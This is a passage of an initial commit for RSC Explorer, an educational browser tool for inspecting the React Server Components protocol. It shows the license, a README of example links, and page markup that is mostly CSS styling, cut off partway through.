A tool for people curious about the React Server Components protocol

init

+4
.gitignore
··· 1 + node_modules 2 + dist 3 + .DS_Store 4 + test-results/
+21
LICENSE.md
··· 1 + MIT License 2 + 3 + Copyright (c) 2025 Dan Abramov 4 + 5 + Permission is hereby granted, free of charge, to any person obtaining a copy 6 + of this software and associated documentation files (the "Software"), to deal 7 + in the Software without restriction, including without limitation the rights 8 + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 + copies of the Software, and to permit persons to whom the Software is 10 + furnished to do so, subject to the following conditions: 11 + 12 + The above copyright notice and this permission notice shall be included in all 13 + copies or substantial portions of the Software. 14 + 15 + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 + SOFTWARE.
+47
README.md
··· 1 + # RSC Explorer 2 + 3 + A tool for educators and thinkerers curious about the React Server Components (RSC) protocol. 4 + 5 + [RSC Explorer](https://rscexplorer.dev/) runs both the Server and the Client parts of RSC in the browser. 6 + 7 + It lets you inspect the RSC stream step by step and observe the React tree that is being streamed at every step. It also hosts some examples that showcase how React Server and Client features can interplay. 8 + 9 + ![Screenshot](./screenshot.png) 10 + 11 + This is a hobby project and is not affiliated with or endorsed by any person, living or dead. 12 + 13 + ## Examples 14 + 15 + * [Hello World](https://rscexplorer.dev/?s=hello) 16 + * [Async Component](https://rscexplorer.dev/?s=async) 17 + * [Counter](https://rscexplorer.dev/?s=counter) 18 + * [Form Action](https://rscexplorer.dev/?s=form) 19 + * [Pagination](https://rscexplorer.dev/?s=pagination) 20 + * [Router Refresh](https://rscexplorer.dev/?s=refresh) 21 + * [Error Handling](https://rscexplorer.dev/?s=errors) 22 + * [Client Reference](https://rscexplorer.dev/?s=clientref) 23 + * [Bound Actions](https://rscexplorer.dev/?s=bound) 24 + * [Kitchen Sink](https://rscexplorer.dev/?s=kitchensink) 25 + * [CVE-2025-55182](https://rscexplorer.dev/?s=cve) 26 + 27 + ## Embedding 28 + 29 + You can embed RSC Explorer onto a page. Press the `< >` button in the top bar for the embed code. 30 + 31 + ## Development 32 + 33 + Key design decisions to keep in mind: 34 + 35 + - The Server part runs in a worker. 36 + - We try to approximate a real RSC environment as much as we can (while staying in browser). 37 + - No dependencies on React internals. We use `react-server-dom-webpack` and shim the Webpack runtime. 38 + - No dependencies on the protocol format. We display it, but treat it as an implementation detail of React. 39 + - Only end-to-end tests. 40 + 41 + This is fully vibecoded but heavily steered so individual pieces may be weird or suboptimal. 42 + 43 + Improvements welcome. 44 + 45 + ## License 46 + 47 + MIT
+48
embed.html
··· 1 + <!DOCTYPE html> 2 + <html lang="en"> 3 + <head> 4 + <meta charset="UTF-8"> 5 + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> 6 + <title>RSC Explorer Embed</title> 7 + <style> 8 + * { 9 + box-sizing: border-box; 10 + } 11 + :root { 12 + --bg: #1a1a1a; 13 + --surface: #242424; 14 + --border: #333; 15 + --text: #a0a0a0; 16 + --text-dim: #666; 17 + --text-bright: #e0e0e0; 18 + --font-mono: 'SF Mono', 'Fira Code', 'JetBrains Mono', Menlo, monospace; 19 + } 20 + html, body { 21 + margin: 0; 22 + padding: 0; 23 + height: 100%; 24 + overflow: hidden; 25 + position: fixed; 26 + width: 100%; 27 + top: 0; 28 + left: 0; 29 + } 30 + body { 31 + font-family: -apple-system, BlinkMacSystemFont, 'Inter', sans-serif; 32 + background: var(--bg); 33 + color: var(--text); 34 + border-radius: 8px; 35 + } 36 + #embed-root { 37 + display: flex; 38 + flex-direction: column; 39 + height: 100%; 40 + overflow: hidden; 41 + } 42 + </style> 43 + </head> 44 + <body> 45 + <div id="embed-root"></div> 46 + <script type="module" src="/src/client/embed.jsx"></script> 47 + </body> 48 + </html>
+1146
index.html
··· 1 + <!DOCTYPE html> 2 + <html lang="en"> 3 + <head> 4 + <meta charset="UTF-8"> 5 + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> 6 + <title>RSC Explorer</title> 7 + <style> 8 + * { 9 + box-sizing: border-box; 10 + } 11 + :root { 12 + --bg: #1a1a1a; 13 + --surface: #242424; 14 + --border: #333; 15 + --text: #a0a0a0; 16 + --text-dim: #666; 17 + --text-bright: #e0e0e0; 18 + --font-mono: 'SF Mono', 'Fira Code', 'JetBrains Mono', Menlo, monospace; 19 + } 20 + html, body { 21 + margin: 0; 22 + padding: 0; 23 + height: 100%; 24 + overflow: hidden; 25 + position: fixed; 26 + width: 100%; 27 + top: 0; 28 + left: 0; 29 + } 30 + body { 31 + font-family: -apple-system, BlinkMacSystemFont, 'Inter', sans-serif; 32 + background: var(--bg); 33 + color: var(--text); 34 + } 35 + header { 36 + height: 44px; 37 + padding: 0 16px; 38 + display: flex; 39 + align-items: center; 40 + gap: 12px; 41 + border-bottom: 1px solid var(--border); 42 + background: var(--surface); 43 + flex-shrink: 0; 44 + position: relative; 45 + z-index: 100; 46 + } 47 + h1 { 48 + margin: 0; 49 + font-size: 13px; 50 + font-weight: 600; 51 + color: var(--text); 52 + } 53 + .example-select-wrapper { 54 + display: flex; 55 + align-items: center; 56 + gap: 10px; 57 + margin-left: 16px; 58 + padding-left: 16px; 59 + border-left: 1px solid var(--border); 60 + } 61 + .example-select-wrapper label { 62 + font-size: 11px; 63 + color: var(--text-dim); 64 + text-transform: uppercase; 65 + letter-spacing: 0.5px; 66 + } 67 + header select { 68 + -webkit-appearance: none; 69 + appearance: none; 70 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a); 71 + border: 1px solid #555; 72 + color: #fff; 73 + padding: 5px 28px 5px 10px; 74 + border-radius: 4px; 75 + font-size: 13px; 76 + font-weight: 500; 77 + cursor: pointer; 78 + min-width: 150px; 79 + box-shadow: 0 1px 2px rgba(0,0,0,0.2); 80 + } 81 + header select:hover { 82 + border-color: #666; 83 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333); 84 + } 85 + header select:focus { 86 + outline: none; 87 + border-color: #ffd54f; 88 + } 89 + header .save-btn { 90 + background: var(--surface); 91 + border: 1px solid var(--border); 92 + color: var(--text); 93 + padding: 5px 8px; 94 + border-radius: 4px; 95 + cursor: pointer; 96 + display: flex; 97 + align-items: center; 98 + justify-content: center; 99 + } 100 + header .save-btn:hover:not(:disabled) { 101 + border-color: #444; 102 + background: #2a2a2a; 103 + } 104 + header .save-btn:disabled { 105 + opacity: 0.4; 106 + cursor: not-allowed; 107 + } 108 + header .embed-btn { 109 + background: var(--surface); 110 + border: 1px solid var(--border); 111 + color: var(--text); 112 + padding: 5px 8px; 113 + border-radius: 4px; 114 + cursor: pointer; 115 + display: flex; 116 + align-items: center; 117 + justify-content: center; 118 + } 119 + header .embed-btn:hover:not(:disabled) { 120 + border-color: #444; 121 + background: #2a2a2a; 122 + } 123 + header .embed-btn:disabled { 124 + opacity: 0.4; 125 + cursor: not-allowed; 126 + } 127 + /* Modal */ 128 + .modal-overlay { 129 + position: fixed; 130 + inset: 0; 131 + background: rgba(0, 0, 0, 0.7); 132 + display: flex; 133 + align-items: center; 134 + justify-content: center; 135 + z-index: 1000; 136 + } 137 + .modal { 138 + background: var(--surface); 139 + border: 1px solid var(--border); 140 + border-radius: 8px; 141 + width: 90%; 142 + max-width: 600px; 143 + max-height: 80vh; 144 + display: flex; 145 + flex-direction: column; 146 + } 147 + .modal-header { 148 + display: flex; 149 + align-items: center; 150 + justify-content: space-between; 151 + padding: 16px; 152 + border-bottom: 1px solid var(--border); 153 + } 154 + .modal-header h2 { 155 + margin: 0; 156 + font-size: 16px; 157 + font-weight: 600; 158 + color: var(--text-bright); 159 + } 160 + .modal-close { 161 + background: none; 162 + border: none; 163 + color: var(--text-dim); 164 + font-size: 24px; 165 + cursor: pointer; 166 + padding: 0; 167 + line-height: 1; 168 + } 169 + .modal-close:hover { 170 + color: var(--text-bright); 171 + } 172 + .modal-body { 173 + padding: 16px; 174 + overflow: auto; 175 + } 176 + .modal-body p { 177 + margin: 0 0 12px; 178 + font-size: 13px; 179 + color: var(--text); 180 + } 181 + .modal-body textarea { 182 + width: 100%; 183 + height: 250px; 184 + background: var(--bg); 185 + border: 1px solid var(--border); 186 + border-radius: 4px; 187 + color: var(--text); 188 + font-family: var(--font-mono); 189 + font-size: 12px; 190 + padding: 12px; 191 + resize: none; 192 + } 193 + .modal-body textarea:focus { 194 + outline: none; 195 + border-color: #555; 196 + } 197 + .modal-footer { 198 + padding: 16px; 199 + border-top: 1px solid var(--border); 200 + display: flex; 201 + justify-content: flex-end; 202 + } 203 + .copy-btn { 204 + background: #ffd54f; 205 + border: none; 206 + color: #000; 207 + padding: 8px 16px; 208 + border-radius: 4px; 209 + font-size: 13px; 210 + font-weight: 500; 211 + cursor: pointer; 212 + } 213 + .copy-btn:hover { 214 + background: #ffe566; 215 + } 216 + .header-spacer { 217 + flex: 1; 218 + } 219 + .build-switcher { 220 + display: flex; 221 + align-items: center; 222 + gap: 8px; 223 + padding-left: 12px; 224 + border-left: 1px solid var(--border); 225 + } 226 + .build-switcher label { 227 + font-size: 11px; 228 + color: var(--text-dim); 229 + text-transform: uppercase; 230 + letter-spacing: 0.5px; 231 + } 232 + .build-switcher .mode-select { 233 + min-width: 70px; 234 + } 235 + @media (max-width: 768px) { 236 + header { 237 + padding: 0 8px; 238 + gap: 4px; 239 + } 240 + h1 { 241 + font-size: 11px; 242 + } 243 + .header-spacer { 244 + flex: 0; 245 + min-width: 0; 246 + } 247 + .example-select-wrapper { 248 + padding-left: 6px; 249 + margin-left: 2px; 250 + gap: 4px; 251 + } 252 + .example-select-wrapper label { 253 + display: none; 254 + } 255 + header select, 256 + header select:hover { 257 + min-width: 0; 258 + width: auto; 259 + padding: 4px 20px 4px 6px; 260 + font-size: 16px; /* Prevents iOS zoom */ 261 + background-position: right 4px center; 262 + } 263 + header .save-btn { 264 + display: none; 265 + } 266 + .build-switcher { 267 + padding-left: 6px; 268 + gap: 4px; 269 + margin-left: auto; 270 + } 271 + .build-switcher label { 272 + display: none; 273 + } 274 + .build-switcher select { 275 + min-width: 0; 276 + } 277 + main { 278 + grid-template-columns: 100%; 279 + grid-template-rows: 1fr 1fr 1fr 1fr; 280 + } 281 + .pane:nth-child(1), 282 + .pane:nth-child(3) { 283 + border-right: none; 284 + } 285 + .pane { 286 + border-bottom: 1px solid var(--border); 287 + } 288 + /* Prevent iOS zoom on all form elements */ 289 + input, textarea, select { 290 + font-size: 16px !important; 291 + } 292 + .raw-input-payload { 293 + font-size: 16px !important; 294 + } 295 + /* Playback controls responsive */ 296 + .playback-container { 297 + padding: 6px 8px; 298 + gap: 6px; 299 + } 300 + .playback-controls { 301 + gap: 2px; 302 + } 303 + .control-btn { 304 + width: 26px; 305 + height: 26px; 306 + } 307 + .step-info { 308 + min-width: 50px; 309 + font-size: 10px; 310 + } 311 + } 312 + @media (max-width: 480px) { 313 + header { 314 + padding: 0 6px; 315 + gap: 3px; 316 + } 317 + h1 { 318 + font-size: 10px; 319 + } 320 + header select { 321 + padding: 3px 18px 3px 5px; 322 + font-size: 16px; 323 + max-width: 80px; 324 + text-overflow: ellipsis; 325 + overflow: hidden; 326 + white-space: nowrap; 327 + } 328 + .example-select-wrapper select { 329 + max-width: 110px; 330 + } 331 + .example-select-wrapper { 332 + padding-left: 4px; 333 + margin-left: 0; 334 + border-left: none; 335 + } 336 + .build-switcher { 337 + padding-left: 4px; 338 + border-left: none; 339 + } 340 + /* Playback: hide slider and status, keep buttons compact */ 341 + .step-slider, 342 + .step-info { 343 + display: none; 344 + } 345 + .playback-container { 346 + padding: 4px 6px; 347 + gap: 4px; 348 + } 349 + .control-btn { 350 + width: 24px; 351 + height: 24px; 352 + } 353 + .control-btn svg { 354 + width: 14px; 355 + height: 14px; 356 + } 357 + } 358 + @media (max-width: 360px) { 359 + h1 { 360 + display: none; 361 + } 362 + header select { 363 + max-width: 75px; 364 + } 365 + } 366 + main { 367 + flex: 1; 368 + min-height: 0; 369 + display: grid; 370 + grid-template-columns: 50% 50%; 371 + grid-template-rows: 50% 50%; 372 + overflow: hidden; 373 + } 374 + .pane { 375 + display: flex; 376 + flex-direction: column; 377 + overflow: hidden; 378 + } 379 + /* Left column border */ 380 + .pane:nth-child(1), 381 + .pane:nth-child(3) { 382 + border-right: 1px solid var(--border); 383 + } 384 + /* Top row border */ 385 + .pane:nth-child(1), 386 + .pane:nth-child(2) { 387 + border-bottom: 1px solid var(--border); 388 + } 389 + .pane-header { 390 + padding: 6px 12px; 391 + font-size: 10px; 392 + text-transform: uppercase; 393 + letter-spacing: 1px; 394 + color: var(--text-dim); 395 + flex-shrink: 0; 396 + border-bottom: 1px solid var(--border); 397 + } 398 + .editor-container { 399 + flex: 1; 400 + min-height: 0; 401 + position: relative; 402 + overflow: hidden; 403 + background: var(--bg); 404 + } 405 + .editor-container .cm-editor { 406 + position: absolute !important; 407 + top: 0; 408 + left: 0; 409 + right: 0; 410 + bottom: 0; 411 + height: auto !important; 412 + background: transparent; 413 + } 414 + .editor-container .cm-editor .cm-scroller { 415 + overflow: auto !important; 416 + } 417 + .flight-output { 418 + flex: 1; 419 + min-height: 0; 420 + margin: 0; 421 + padding: 12px; 422 + font-family: var(--font-mono); 423 + font-size: 12px; 424 + line-height: 1.6; 425 + overflow: auto; 426 + white-space: pre-wrap; 427 + word-break: break-all; 428 + background: var(--bg); 429 + color: var(--text-dim); 430 + } 431 + .flight-output.error { 432 + color: #e57373; 433 + } 434 + .action-args { 435 + color: var(--text); 436 + } 437 + 438 + /* Flight log */ 439 + .flight-log { 440 + flex: 1; 441 + overflow: auto; 442 + padding: 8px; 443 + display: flex; 444 + flex-direction: column; 445 + gap: 6px; 446 + } 447 + .log-entry { 448 + background: var(--surface); 449 + border: 1px solid var(--border); 450 + border-radius: 4px; 451 + transition: all 0.15s ease; 452 + border-left: 3px solid #555; 453 + } 454 + .log-entry + .log-entry { 455 + margin-top: 12px; 456 + } 457 + .log-entry.active { 458 + border-left-color: #ffd54f; 459 + } 460 + .log-entry.done-entry { 461 + border-left-color: #555; 462 + opacity: 0.8; 463 + } 464 + .log-entry.pending-entry { 465 + border-left-color: #333; 466 + opacity: 0.4; 467 + } 468 + .log-entry-header { 469 + display: flex; 470 + align-items: center; 471 + justify-content: space-between; 472 + gap: 8px; 473 + padding: 6px 10px; 474 + font-size: 11px; 475 + border-bottom: 1px solid var(--border); 476 + } 477 + .log-entry-direction { 478 + font-family: var(--font-mono); 479 + font-weight: 600; 480 + color: var(--text-dim); 481 + } 482 + .log-entry.active .log-entry-direction { 483 + color: #ffd54f; 484 + } 485 + .log-entry-args { 486 + padding: 6px 10px; 487 + font-family: var(--font-mono); 488 + font-size: 11px; 489 + border-bottom: 1px solid var(--border); 490 + color: var(--text-dim); 491 + } 492 + .action-args-label { 493 + margin-right: 6px; 494 + color: var(--text-dim); 495 + } 496 + .log-entry-label { 497 + color: var(--text); 498 + font-weight: 500; 499 + } 500 + .log-entry-count { 501 + margin-left: auto; 502 + color: var(--text-dim); 503 + font-family: var(--font-mono); 504 + } 505 + .log-entry-content { 506 + margin: 0; 507 + padding: 8px 10px; 508 + font-family: var(--font-mono); 509 + font-size: 11px; 510 + line-height: 1.5; 511 + white-space: pre-wrap; 512 + word-break: break-all; 513 + } 514 + .log-entry .action-args { 515 + color: #81c784; 516 + } 517 + 518 + /* Action request (args display) */ 519 + .log-entry-request { 520 + padding: 8px 10px; 521 + background: rgba(0, 0, 0, 0.2); 522 + border-bottom: 1px solid var(--border); 523 + } 524 + .log-entry-request-args { 525 + margin: 0; 526 + font-family: var(--font-mono); 527 + font-size: 11px; 528 + line-height: 1.4; 529 + color: #81c784; 530 + white-space: pre-wrap; 531 + word-break: break-all; 532 + } 533 + 534 + /* Log entry preview (embedded scrubber) */ 535 + .log-entry-preview { 536 + border-top: 1px solid var(--border); 537 + padding: 8px; 538 + } 539 + .log-entry-preview-controls { 540 + display: flex; 541 + align-items: center; 542 + gap: 8px; 543 + margin-bottom: 8px; 544 + } 545 + .log-step-btn { 546 + background: var(--border); 547 + border: none; 548 + color: #ffd54f; 549 + width: 24px; 550 + height: 24px; 551 + border-radius: 3px; 552 + cursor: pointer; 553 + font-size: 10px; 554 + display: flex; 555 + align-items: center; 556 + justify-content: center; 557 + } 558 + .log-step-btn:hover:not(:disabled) { 559 + background: #444; 560 + } 561 + .log-step-btn:disabled { 562 + opacity: 0.3; 563 + cursor: not-allowed; 564 + } 565 + .log-entry-slider { 566 + flex: 1; 567 + height: 4px; 568 + -webkit-appearance: none; 569 + appearance: none; 570 + background: var(--border); 571 + border-radius: 2px; 572 + outline: none; 573 + } 574 + .log-entry-slider::-webkit-slider-thumb { 575 + -webkit-appearance: none; 576 + width: 14px; 577 + height: 14px; 578 + background: #ffd54f; 579 + border-radius: 50%; 580 + cursor: pointer; 581 + } 582 + .log-entry-slider::-moz-range-thumb { 583 + width: 14px; 584 + height: 14px; 585 + background: #ffd54f; 586 + border-radius: 50%; 587 + cursor: pointer; 588 + border: none; 589 + } 590 + .value-pending { 591 + color: #999; 592 + font-style: italic; 593 + font-size: 11px; 594 + } 595 + .value-loading { 596 + color: #999; 597 + font-style: italic; 598 + } 599 + .log-entry-step-info { 600 + font-size: 11px; 601 + color: var(--text-dim); 602 + font-family: var(--font-mono); 603 + } 604 + .log-entry-flight-lines { 605 + margin: 0; 606 + padding: 6px; 607 + background: var(--bg); 608 + border-radius: 3px; 609 + font-size: 11px; 610 + line-height: 1.4; 611 + overflow: auto; 612 + } 613 + .log-entry-flight-lines .flight-line { 614 + display: block; 615 + padding: 6px 8px; 616 + margin-bottom: 3px; 617 + border-radius: 4px; 618 + word-break: break-all; 619 + white-space: pre-wrap; 620 + border-left: 2px solid transparent; 621 + transition: all 0.15s ease; 622 + } 623 + .log-entry-flight-lines .flight-line:last-child { 624 + margin-bottom: 0; 625 + } 626 + .log-entry-flight-lines .line-done { 627 + color: #999; 628 + background: rgba(255, 255, 255, 0.03); 629 + border-left-color: #555; 630 + } 631 + .log-entry-flight-lines .line-next { 632 + color: #e0e0e0; 633 + background: rgba(255, 213, 79, 0.12); 634 + border-left-color: #ffd54f; 635 + } 636 + .log-entry-flight-lines .line-pending { 637 + color: #444; 638 + background: transparent; 639 + border-left-color: #333; 640 + opacity: 0.4; 641 + } 642 + 643 + /* Split layout: left=stream (scrolls), right=tree (dictates height) */ 644 + .log-entry-split { 645 + display: flex; 646 + gap: 8px; 647 + align-items: stretch; 648 + } 649 + .log-entry-split .log-entry-flight-lines-wrapper { 650 + flex: 1; 651 + min-width: 0; 652 + position: relative; 653 + min-height: 150px; 654 + } 655 + .log-entry-split .log-entry-flight-lines { 656 + position: absolute; 657 + top: 0; 658 + left: 0; 659 + right: 0; 660 + bottom: 0; 661 + } 662 + .log-entry-split .log-entry-tree { 663 + flex: 1; 664 + min-width: 0; 665 + display: flex; 666 + flex-direction: column; 667 + } 668 + /* Tree view in log entry - expands to fill height */ 669 + .log-entry-tree { 670 + flex: 1; 671 + min-width: 0; 672 + border-radius: 4px; 673 + overflow: auto; 674 + border: 1px solid var(--border); 675 + } 676 + .log-entry-tree:has(.flight-tree) { 677 + background: #000; 678 + } 679 + .log-entry-tree.full-width { 680 + flex: none; 681 + width: 100%; 682 + } 683 + .log-entry-tree .flight-tree { 684 + padding: 8px; 685 + font-size: 11px; 686 + line-height: 1.6; 687 + } 688 + .jsx-output { 689 + margin: 0; 690 + white-space: pre-wrap; 691 + word-break: break-word; 692 + color: var(--text); 693 + } 694 + .value-content { 695 + background: #f8f8f8; 696 + color: #111; 697 + font-family: -apple-system, BlinkMacSystemFont, sans-serif; 698 + padding: 8px; 699 + border-radius: 3px; 700 + margin: -8px; 701 + } 702 + .value-string { color: #22863a; } 703 + .value-number { color: #005cc5; } 704 + .value-boolean { color: #d73a49; } 705 + .value-null, .value-undefined { color: #6a737d; font-style: italic; } 706 + .value-key { color: #005cc5; } 707 + .value-indent { 708 + display: block; 709 + padding-left: 16px; 710 + } 711 + .value-array-item, .value-object-entry { 712 + display: block; 713 + } 714 + .value-react-element { 715 + display: inline; 716 + background: rgba(0, 0, 0, 0.04); 717 + padding: 2px 4px; 718 + border-radius: 3px; 719 + } 720 + .value-error { 721 + color: #e57373; 722 + font-style: italic; 723 + } 724 + .value-loading { 725 + color: var(--text-dim); 726 + font-style: italic; 727 + } 728 + 729 + /* Flight Tree View */ 730 + .flight-tree { 731 + flex: 1; 732 + min-height: 0; 733 + padding: 12px; 734 + font-family: var(--font-mono); 735 + font-size: 12px; 736 + line-height: 1.8; 737 + overflow: auto; 738 + background: var(--bg); 739 + } 740 + .tree-empty { 741 + color: var(--text-dim); 742 + font-style: italic; 743 + } 744 + .tree-element, 745 + .tree-client-component, 746 + .tree-suspense, 747 + .tree-lazy { 748 + margin-left: 0; 749 + } 750 + .tree-children { 751 + margin-left: 16px; 752 + border-left: 1px solid #333; 753 + padding-left: 12px; 754 + } 755 + .tree-tag { 756 + color: #e06c75; 757 + } 758 + .tree-client-tag { 759 + color: #c678dd; 760 + } 761 + .tree-client-ref { 762 + color: #5c6370; 763 + font-size: 10px; 764 + } 765 + .tree-react-tag { 766 + color: #e5c07b; 767 + } 768 + .tree-pending { 769 + display: inline-block; 770 + color: #64b5f6; 771 + background: rgba(100, 181, 246, 0.15); 772 + padding: 2px 8px; 773 + border-radius: 10px; 774 + border: 1px solid rgba(100, 181, 246, 0.4); 775 + font-size: 10px; 776 + font-weight: 500; 777 + letter-spacing: 0.5px; 778 + animation: pending-pulse 2s ease-in-out infinite; 779 + } 780 + @keyframes pending-pulse { 781 + 0%, 100% { opacity: 0.7; } 782 + 50% { opacity: 1; } 783 + } 784 + .tree-string { 785 + color: #98c379; 786 + } 787 + .tree-number { 788 + color: #d19a66; 789 + } 790 + .tree-boolean { 791 + color: #56b6c2; 792 + } 793 + .tree-null, 794 + .tree-undefined { 795 + color: #5c6370; 796 + font-style: italic; 797 + } 798 + .tree-key, 799 + .tree-prop-name { 800 + color: #61afef; 801 + } 802 + .tree-ref { 803 + color: #c678dd; 804 + } 805 + .tree-object { 806 + color: var(--text-dim); 807 + } 808 + .tree-array { 809 + /* Arrays render children inline */ 810 + } 811 + .tree-props { 812 + color: var(--text-dim); 813 + } 814 + .tree-prop { 815 + color: var(--text-dim); 816 + } 817 + .tree-error { 818 + display: inline-block; 819 + color: #e57373; 820 + background: rgba(229, 115, 115, 0.15); 821 + padding: 2px 8px; 822 + border-radius: 10px; 823 + border: 1px solid rgba(229, 115, 115, 0.4); 824 + font-size: 10px; 825 + font-weight: 500; 826 + letter-spacing: 0.5px; 827 + } 828 + .tree-pending-tag { 829 + color: #ffd54f; 830 + background: rgba(255, 213, 79, 0.1); 831 + padding: 1px 4px; 832 + border-radius: 3px; 833 + border: 1px solid rgba(255, 213, 79, 0.3); 834 + } 835 + .tree-error-keyword { 836 + color: #c678dd; 837 + font-weight: 600; 838 + } 839 + .tree-error-message { 840 + color: #e57373; 841 + } 842 + .tree-function { 843 + color: #61afef; 844 + font-style: italic; 845 + } 846 + .tree-placeholder { 847 + color: #444; 848 + font-style: italic; 849 + } 850 + 851 + /* Playback controls */ 852 + .playback-container { 853 + display: flex; 854 + align-items: center; 855 + gap: 10px; 856 + padding: 8px 12px; 857 + background: var(--surface); 858 + border-bottom: 1px solid var(--border); 859 + } 860 + .playback-controls { 861 + display: flex; 862 + align-items: center; 863 + gap: 4px; 864 + } 865 + .control-btn { 866 + background: transparent; 867 + border: none; 868 + color: var(--text); 869 + width: 30px; 870 + height: 30px; 871 + border-radius: 4px; 872 + cursor: pointer; 873 + display: flex; 874 + align-items: center; 875 + justify-content: center; 876 + transition: all 0.1s; 877 + } 878 + .control-btn svg { 879 + width: 16px; 880 + height: 16px; 881 + } 882 + .control-btn:hover:not(:disabled) { 883 + background: var(--border); 884 + color: var(--text-bright); 885 + } 886 + .control-btn:disabled { 887 + opacity: 0.3; 888 + cursor: not-allowed; 889 + } 890 + .control-btn.play-btn.playing { 891 + color: #ffd54f; 892 + } 893 + .control-btn.step-btn { 894 + background: #ffd54f; 895 + color: #000; 896 + animation: pulse-step 1.5s ease-in-out infinite; 897 + } 898 + .control-btn.step-btn:hover:not(:disabled) { 899 + background: #ffe566; 900 + color: #000; 901 + animation: none; 902 + } 903 + .control-btn.step-btn:disabled { 904 + background: transparent; 905 + color: var(--text); 906 + animation: none; 907 + } 908 + @keyframes pulse-step { 909 + 0%, 100% { opacity: 1; } 910 + 50% { opacity: 0.7; } 911 + } 912 + .step-slider { 913 + flex: 1; 914 + height: 4px; 915 + -webkit-appearance: none; 916 + appearance: none; 917 + background: var(--border); 918 + border-radius: 2px; 919 + outline: none; 920 + } 921 + .step-slider::-webkit-slider-thumb { 922 + -webkit-appearance: none; 923 + appearance: none; 924 + width: 14px; 925 + height: 14px; 926 + background: #ffd54f; 927 + border-radius: 50%; 928 + cursor: pointer; 929 + border: none; 930 + } 931 + .step-slider::-moz-range-thumb { 932 + width: 14px; 933 + height: 14px; 934 + background: #ffd54f; 935 + border-radius: 50%; 936 + cursor: pointer; 937 + border: none; 938 + } 939 + .step-slider:disabled { 940 + opacity: 0.5; 941 + } 942 + .step-info { 943 + font-size: 11px; 944 + color: var(--text-dim); 945 + font-family: var(--font-mono); 946 + min-width: 60px; 947 + text-align: right; 948 + } 949 + 950 + /* Preview pane */ 951 + .preview-container { 952 + flex: 1; 953 + padding: 20px; 954 + background: #fff; 955 + color: #111; 956 + overflow: auto; 957 + font-family: -apple-system, BlinkMacSystemFont, sans-serif; 958 + font-size: 16px; 959 + line-height: 1.5; 960 + } 961 + .preview-container h1 { 962 + font-size: 28px; 963 + color: #000; 964 + margin: 0 0 16px; 965 + } 966 + .preview-container h2 { 967 + font-size: 22px; 968 + color: #000; 969 + } 970 + .preview-container h3 { 971 + font-size: 18px; 972 + color: #000; 973 + } 974 + .preview-container p { 975 + color: #111; 976 + margin: 8px 0; 977 + } 978 + .preview-container button { 979 + background: #333; 980 + color: #fff; 981 + border: none; 982 + padding: 8px 14px; 983 + border-radius: 4px; 984 + cursor: pointer; 985 + font-size: 14px; 986 + } 987 + .preview-container button:hover { 988 + background: #444; 989 + } 990 + .preview-container .empty { 991 + color: #999; 992 + font-style: italic; 993 + } 994 + .preview-container .empty.error { 995 + color: #c0392b; 996 + } 997 + .flight-output .empty { 998 + color: var(--text-dim); 999 + font-style: italic; 1000 + } 1001 + /* Pulsing dots for empty/waiting states */ 1002 + .empty::after { 1003 + content: ''; 1004 + animation: none; 1005 + } 1006 + .waiting-dots::after { 1007 + content: '...'; 1008 + animation: pulse 1.5s ease-in-out infinite; 1009 + } 1010 + @keyframes pulse { 1011 + 0%, 100% { opacity: 0.3; } 1012 + 50% { opacity: 1; } 1013 + } 1014 + 1015 + /* Raw input form */ 1016 + .add-raw-btn-wrapper { 1017 + display: flex; 1018 + justify-content: center; 1019 + margin-top: 8px; 1020 + } 1021 + .add-raw-btn { 1022 + width: 24px; 1023 + height: 24px; 1024 + padding: 0; 1025 + background: var(--border); 1026 + border: 1px solid #444; 1027 + border-radius: 50%; 1028 + color: var(--text-dim); 1029 + cursor: pointer; 1030 + font-size: 14px; 1031 + line-height: 22px; 1032 + transition: all 0.15s; 1033 + } 1034 + .add-raw-btn:hover { 1035 + background: #3a3a3a; 1036 + border-color: #666; 1037 + color: var(--text); 1038 + } 1039 + .raw-input-form { 1040 + margin-top: 8px; 1041 + padding: 10px; 1042 + background: var(--surface); 1043 + border: 1px solid var(--border); 1044 + border-radius: 4px; 1045 + } 1046 + .raw-input-action { 1047 + -webkit-appearance: none; 1048 + appearance: none; 1049 + width: 100%; 1050 + padding: 5px 28px 5px 10px; 1051 + margin-bottom: 8px; 1052 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a); 1053 + border: 1px solid #555; 1054 + border-radius: 4px; 1055 + color: #fff; 1056 + font-size: 12px; 1057 + cursor: pointer; 1058 + box-shadow: 0 1px 2px rgba(0,0,0,0.2); 1059 + } 1060 + .raw-input-action:hover { 1061 + border-color: #666; 1062 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333); 1063 + } 1064 + .raw-input-action:focus { 